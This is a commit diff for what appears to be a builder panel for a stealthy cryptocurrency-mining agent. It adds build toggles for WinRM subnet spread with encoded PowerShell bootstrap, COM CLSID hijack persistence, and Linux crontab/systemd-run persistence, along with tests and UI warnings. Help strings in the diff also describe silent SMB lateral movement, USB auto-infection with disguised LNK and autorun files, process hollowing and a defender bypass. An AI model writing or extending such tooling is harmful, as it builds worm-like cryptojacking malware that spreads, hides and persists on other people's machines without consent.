Add forge spread toggles for WinRM and Linux LOTL
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -85,6 +85,9 @@ type BuildRequest struct {
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
ShareSpread bool `json:"share_spread"`
|
||||
WinRMSpread bool `json:"winrm_spread"`
|
||||
COMHijackPersist bool `json:"com_hijack_persist"`
|
||||
LinuxLOTLMode string `json:"linux_lotl_mode"`
|
||||
TargetOS string `json:"target_os"`
|
||||
TargetArch string `json:"target_arch"`
|
||||
SpreadKit bool `json:"spread_kit"`
|
||||
@@ -1079,9 +1082,19 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.LotlOnionEnabled {
|
||||
ApplyLotlOnionPreset(req)
|
||||
}
|
||||
req.LinuxLOTLMode = normalizeLinuxLOTLMode(req.LinuxLOTLMode)
|
||||
return nil
|
||||
}
|
||||
|
||||
func normalizeLinuxLOTLMode(mode string) string {
|
||||
switch strings.ToLower(strings.TrimSpace(mode)) {
|
||||
case "systemd_run_user", "crontab", "both":
|
||||
return strings.ToLower(strings.TrimSpace(mode))
|
||||
default:
|
||||
return "off"
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
|
||||
if header == nil {
|
||||
return "", nil, fmt.Errorf("fusion upload is missing")
|
||||
@@ -1202,6 +1215,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RemoteAggressive: %v,
|
||||
USBSpread: %v,
|
||||
ShareSpread: %v,
|
||||
WinRMSpread: %v,
|
||||
COMHijackPersist: %v,
|
||||
LinuxLOTLMode: %q,
|
||||
BackupServerURLs: %s,
|
||||
BackupPools: %s,
|
||||
ServiceMasquerade: %v,
|
||||
@@ -1282,6 +1298,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.RemoteAggressive,
|
||||
req.USBSpread,
|
||||
req.ShareSpread,
|
||||
req.WinRMSpread,
|
||||
req.COMHijackPersist,
|
||||
req.LinuxLOTLMode,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
formatGoBackupPools(req.BackupPools),
|
||||
serviceMasqueradeEnabled(req),
|
||||
|
||||
@@ -65,6 +65,31 @@ func TestGenerateBuiltinConfigValid(t *testing.T) {
|
||||
if !strings.Contains(src, "AutostartMode") {
|
||||
t.Error("expected AutostartMode field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "WinRMSpread") {
|
||||
t.Error("expected WinRMSpread field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "COMHijackPersist") {
|
||||
t.Error("expected COMHijackPersist field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "LinuxLOTLMode") {
|
||||
t.Error("expected LinuxLOTLMode field in generated config")
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeLinuxLOTLMode(t *testing.T) {
|
||||
tests := map[string]string{
|
||||
"": "off",
|
||||
"off": "off",
|
||||
"SYSTEMD_RUN_USER": "systemd_run_user",
|
||||
"crontab": "crontab",
|
||||
"both": "both",
|
||||
"invalid": "off",
|
||||
}
|
||||
for in, want := range tests {
|
||||
if got := normalizeLinuxLOTLMode(in); got != want {
|
||||
t.Errorf("normalizeLinuxLOTLMode(%q) = %q, want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlatformLabelAndBinDir(t *testing.T) {
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { DOC_ANCHORS, docAnchorForField } from './docAnchors';
|
||||
import { FIELD_HELP } from './settingHelp';
|
||||
import { UI_HELP } from './uiHelp';
|
||||
|
||||
/** Fields rendered with HelpTip in BuilderPage + SettingsPage. */
|
||||
const HELP_TIP_FIELDS = [
|
||||
@@ -8,7 +9,7 @@ const HELP_TIP_FIELDS = [
|
||||
'obfuscate_default', 'sign_enabled', 'sign_cert_thumbprint', 'sign_tool_path', 'sign_timestamp_url',
|
||||
'worker_name', 'server_url', 'https_beacon_fallback', 'wallet', 'pool_pass',
|
||||
'target_os', 'target_arch', 'output_dir', 'thread_mode', 'thread_percent', 'threads',
|
||||
'cpu_priority', 'max_cpu_usage_pct', 'max_memory_percent', 'min_free_ram_mb', 'mining_mode',
|
||||
'cpu_priority', 'max_cpu_usage_pct', 'max_memory_percent', 'min_free_ram_mb', 'mining_mode', 'miner_execution',
|
||||
'idle_threshold_pct', 'idle_duration_minutes', 'schedule_start', 'schedule_end',
|
||||
'install_base', 'install_custom_base', 'install_relative_path', 'adapt_to_hardware',
|
||||
'firewall_exclusion', 'self_healing', 'stealth_mode', 'process_hollowing', 'file_logging',
|
||||
@@ -19,6 +20,8 @@ const HELP_TIP_FIELDS = [
|
||||
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
|
||||
'forge_operation_mode', 'forge_path_forge',
|
||||
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
|
||||
'winrm_spread', 'com_hijack_persist', 'linux_lotl_mode',
|
||||
'set_alerts', 'set_alert_notifications', 'set_webhook',
|
||||
] as const;
|
||||
|
||||
describe('docAnchors', () => {
|
||||
@@ -52,7 +55,7 @@ describe('docAnchors', () => {
|
||||
|
||||
it('every HelpTip field has a wiki anchor', () => {
|
||||
for (const field of HELP_TIP_FIELDS) {
|
||||
expect(FIELD_HELP[field], `missing FIELD_HELP for ${field}`).toBeDefined();
|
||||
expect(FIELD_HELP[field] || UI_HELP[field], `missing help for ${field}`).toBeDefined();
|
||||
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(
|
||||
/^\/docs\/(#[\w-]+|SPREAD_TECHNIQUES\.html#[\w-]+)$/,
|
||||
);
|
||||
|
||||
@@ -68,6 +68,9 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
usb_spread: '/docs/SPREAD_TECHNIQUES.html#usb',
|
||||
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
winrm_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
com_hijack_persist: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
linux_lotl_mode: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
remote_aggressive: '/docs/#crucible-ops',
|
||||
mesh_p2p: '/docs/#platform-matrix',
|
||||
hole_punch: '/docs/#crucible-ops',
|
||||
@@ -80,6 +83,7 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
// Crucible / agent remote
|
||||
firewall_remote: '/docs/#crucible-ops',
|
||||
firewall_exclusion: '/docs/#agent',
|
||||
crucible_section_spread_templates: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
|
||||
// Mission / builds
|
||||
spread_kit: '/docs/#forge',
|
||||
@@ -98,6 +102,9 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
websocket_ping_seconds: '/docs/#calibrate',
|
||||
log_pool_traffic: '/docs/#calibrate',
|
||||
webhook_url: '/docs/#calibrate',
|
||||
set_alerts: '/docs/#calibrate',
|
||||
set_alert_notifications: '/docs/#calibrate',
|
||||
set_webhook: '/docs/#calibrate',
|
||||
|
||||
// Dashboard / fleet UI
|
||||
dash_fleet_health: '/docs/#dashboard',
|
||||
|
||||
@@ -12,6 +12,9 @@ describe('FORGE_BUILD_DEFAULTS', () => {
|
||||
expect(FORGE_BUILD_DEFAULTS.ai_enabled).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.auto_spread).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.remote_aggressive).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.winrm_spread).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off');
|
||||
});
|
||||
|
||||
it('omits per-build identity fields (filled by server merge)', () => {
|
||||
|
||||
@@ -57,6 +57,9 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
remote_aggressive: false,
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
winrm_spread: false,
|
||||
com_hijack_persist: false,
|
||||
linux_lotl_mode: 'off',
|
||||
target_os: 'windows',
|
||||
target_arch: 'all',
|
||||
spread_kit: false,
|
||||
|
||||
@@ -45,6 +45,19 @@ describe('forgeFormNormalize', () => {
|
||||
expect(out.target_arch).toBe('amd64');
|
||||
});
|
||||
|
||||
it('linux target clears Windows-only spread flags', () => {
|
||||
const out = normalizeForgeForm(
|
||||
baseForm({ target_os: 'linux', target_arch: 'amd64', winrm_spread: true, com_hijack_persist: true })
|
||||
);
|
||||
expect(out.winrm_spread).toBe(false);
|
||||
expect(out.com_hijack_persist).toBe(false);
|
||||
});
|
||||
|
||||
it('windows target clears linux lotl mode', () => {
|
||||
const out = normalizeForgeForm(baseForm({ target_os: 'windows', linux_lotl_mode: 'both' }));
|
||||
expect(out.linux_lotl_mode).toBe('off');
|
||||
});
|
||||
|
||||
it('single deliverable cannot stay universal', () => {
|
||||
const out = applyDeliverableType(baseForm({ target_os: 'universal' }), 'single');
|
||||
expect(out.target_os).toBe('windows');
|
||||
|
||||
@@ -76,6 +76,9 @@ export function spreadKitPreset(): Partial<BuildRequest> {
|
||||
auto_spread: false,
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
winrm_spread: false,
|
||||
com_hijack_persist: false,
|
||||
linux_lotl_mode: 'off',
|
||||
};
|
||||
}
|
||||
|
||||
@@ -137,6 +140,15 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||
// Process hollowing — Windows workers only
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
next.process_hollowing = false;
|
||||
next.winrm_spread = false;
|
||||
next.com_hijack_persist = false;
|
||||
}
|
||||
|
||||
// Linux LOTL persistence — Linux/universal workers only
|
||||
if (isWindowsOnlyTarget(next.target_os)) {
|
||||
next.linux_lotl_mode = 'off';
|
||||
} else if (!next.linux_lotl_mode || next.linux_lotl_mode === '') {
|
||||
next.linux_lotl_mode = 'off';
|
||||
}
|
||||
|
||||
// Install base matches target OS family
|
||||
|
||||
@@ -422,6 +422,34 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
remote_aggressive: { disabled: false, badge: 'baked' },
|
||||
usb_spread: { disabled: false, badge: 'baked' },
|
||||
share_spread: { disabled: false, badge: 'baked' },
|
||||
winrm_spread: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle
|
||||
? 'WinRM spread is Windows-only.'
|
||||
: isUniversal
|
||||
? 'Only baked into the Windows worker inside universal builds.'
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
|
||||
},
|
||||
com_hijack_persist: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle
|
||||
? 'COM hijack persistence is Windows-only.'
|
||||
: isUniversal
|
||||
? 'Only baked into the Windows worker inside universal builds.'
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Windows agents only — high-friction persistence via InprocServer32 CLSID hijack.' : undefined,
|
||||
},
|
||||
linux_lotl_mode: {
|
||||
disabled: isWindowsOnly,
|
||||
badge: 'baked',
|
||||
lockedReason: isWindowsOnly
|
||||
? 'Linux LOTL persistence applies to Linux/universal builds only.'
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Linux worker only — systemd-run --user and/or crontab @reboot hooks after install.' : undefined,
|
||||
},
|
||||
target_os: {
|
||||
disabled: isSpreadKit || isFusion,
|
||||
badge: 'baked',
|
||||
|
||||
@@ -108,6 +108,9 @@ describe('FIELD_HELP', () => {
|
||||
'auto_spread',
|
||||
'usb_spread',
|
||||
'share_spread',
|
||||
'winrm_spread',
|
||||
'com_hijack_persist',
|
||||
'linux_lotl_mode',
|
||||
'hole_punch',
|
||||
'remote_aggressive',
|
||||
'target_os',
|
||||
@@ -149,5 +152,8 @@ describe('FIELD_HELP', () => {
|
||||
expect(FIELD_HELP.auto_spread).toContain('SMB');
|
||||
expect(FIELD_HELP.usb_spread).toContain('USB');
|
||||
expect(FIELD_HELP.share_spread).toContain('share');
|
||||
expect(FIELD_HELP.winrm_spread).toContain('WinRM');
|
||||
expect(FIELD_HELP.com_hijack_persist).toContain('CLSID');
|
||||
expect(FIELD_HELP.linux_lotl_mode).toContain('systemd-run');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -126,6 +126,9 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.',
|
||||
usb_spread: 'USB Propagation: Watches for newly inserted USB/removable drives and silently copies the agent onto them. Also installs a persistent WMI event subscription so any USB plugged into this machine in the future auto-infects — even after reboot. Creates a disguised LNK shortcut and autorun.inf on the drive.',
|
||||
share_spread: 'Share Drop: Periodically scans mapped network drives and mounted NFS/SMB shares, then silently drops and launches the agent on any writable share. Also tries PowerShell Remoting (WinRM) on LAN hosts where it is enabled.',
|
||||
winrm_spread: 'WinRM Spread: During autospread, sweeps the local /24 for WinRM-open hosts and deploys via encoded PowerShell bootstrap. Requires owned/lab targets with remoting enabled — separate from Share Drop opportunistic WinRM tries.',
|
||||
com_hijack_persist: 'COM Hijack Persist: Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. High-friction persistence — off by default; only enable on systems you fully own.',
|
||||
linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
|
||||
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
|
||||
remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
|
||||
target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.',
|
||||
|
||||
@@ -78,7 +78,6 @@ import {
|
||||
} from '../help/forgeMissionWizard';
|
||||
import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers';
|
||||
import { spreadTechniqueDocUrl } from '../help/spreadTechniques';
|
||||
import './Pages.css';
|
||||
import './BuilderPage.css';
|
||||
|
||||
function forgePageClass(operationMode: OperationModeId, themeOverride: ReturnType<typeof loadStoredForgeTheme>): string {
|
||||
@@ -2908,6 +2907,80 @@ export default function BuilderPage() {
|
||||
</label>
|
||||
<FieldHint field="share_spread" />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.winrm_spread?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.winrm_spread}
|
||||
disabled={fieldMeta.winrm_spread?.disabled}
|
||||
onChange={(e) => {
|
||||
const checked = e.target.checked;
|
||||
if (checked && !window.confirm(
|
||||
'Enable WinRM Spread?\n\n' +
|
||||
'When baked ON, autospread sweeps the local subnet for WinRM-open hosts ' +
|
||||
'and deploys via encoded PowerShell bootstrap.\n\n' +
|
||||
'Only enable on networks and systems you explicitly own or administer.'
|
||||
)) return;
|
||||
updateField('winrm_spread', checked);
|
||||
}} />
|
||||
<span>WinRM Spread — encoded bootstrap on remoting hosts <HelpTip field="winrm_spread" /></span>
|
||||
</label>
|
||||
{form.winrm_spread && (
|
||||
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
|
||||
⚠ WinRM Spread is ON — autospread will probe /24 and push to WinRM-enabled hosts.
|
||||
</p>
|
||||
)}
|
||||
<ForgeLockedHint meta={fieldMeta.winrm_spread} />
|
||||
<FieldHint field="winrm_spread" />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}
|
||||
disabled={fieldMeta.com_hijack_persist?.disabled}
|
||||
onChange={(e) => {
|
||||
const checked = e.target.checked;
|
||||
if (checked && !window.confirm(
|
||||
'Enable COM Hijack Persistence?\n\n' +
|
||||
'Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. ' +
|
||||
'This is aggressive, high-friction persistence.\n\n' +
|
||||
'Default is OFF — only enable on systems you fully own.'
|
||||
)) return;
|
||||
updateField('com_hijack_persist', checked);
|
||||
}} />
|
||||
<span>COM Hijack Persist — CLSID hijack (default off) <HelpTip field="com_hijack_persist" /></span>
|
||||
</label>
|
||||
{form.com_hijack_persist && (
|
||||
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,80,80,0.1)', border: '1px solid rgba(255,80,80,0.45)', borderRadius: 4, fontSize: '0.82em', color: '#ff6b6b' }}>
|
||||
⚠ COM Hijack is ON — high-friction persistence via registry CLSID hijack. Use only on owned lab hosts.
|
||||
</div>
|
||||
)}
|
||||
<ForgeLockedHint meta={fieldMeta.com_hijack_persist} />
|
||||
<FieldHint field="com_hijack_persist" />
|
||||
</div>
|
||||
|
||||
{(form.target_os === 'linux' || form.target_os === 'universal') && (
|
||||
<div className={`form-group ${fieldMeta.linux_lotl_mode?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Linux LOTL Mode <HelpTip field="linux_lotl_mode" /></label>
|
||||
<select
|
||||
className="input"
|
||||
disabled={fieldMeta.linux_lotl_mode?.disabled}
|
||||
value={form.linux_lotl_mode ?? 'off'}
|
||||
onChange={(e) => updateField('linux_lotl_mode', e.target.value)}
|
||||
>
|
||||
<option value="off">Off — no native-tool persistence</option>
|
||||
<option value="systemd_run_user">systemd-run --user</option>
|
||||
<option value="crontab">crontab @reboot</option>
|
||||
<option value="both">Both — systemd-run + crontab</option>
|
||||
</select>
|
||||
{form.linux_lotl_mode && form.linux_lotl_mode !== 'off' && (
|
||||
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
|
||||
⚠ Linux LOTL persistence is {form.linux_lotl_mode.replace(/_/g, ' ')} — baked into Linux/universal workers only.
|
||||
</p>
|
||||
)}
|
||||
<ForgeLockedHint meta={fieldMeta.linux_lotl_mode} />
|
||||
<FieldHint field="linux_lotl_mode" />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
|
||||
@@ -490,6 +490,12 @@ export interface BuildRequest {
|
||||
remote_aggressive?: boolean;
|
||||
usb_spread?: boolean;
|
||||
share_spread?: boolean;
|
||||
/** WinRM encoded bootstrap during autospread (Windows, owned/lab). */
|
||||
winrm_spread?: boolean;
|
||||
/** COM CLSID hijack persistence — high-friction; default off. */
|
||||
com_hijack_persist?: boolean;
|
||||
/** Linux LOTL persistence: systemd_run_user | crontab | both | off */
|
||||
linux_lotl_mode?: 'systemd_run_user' | 'crontab' | 'both' | 'off';
|
||||
target_os?: 'windows' | 'linux' | 'darwin' | 'universal';
|
||||
target_arch?: string;
|
||||
spread_kit?: boolean;
|
||||
|
||||
Reference in New Issue
Block a user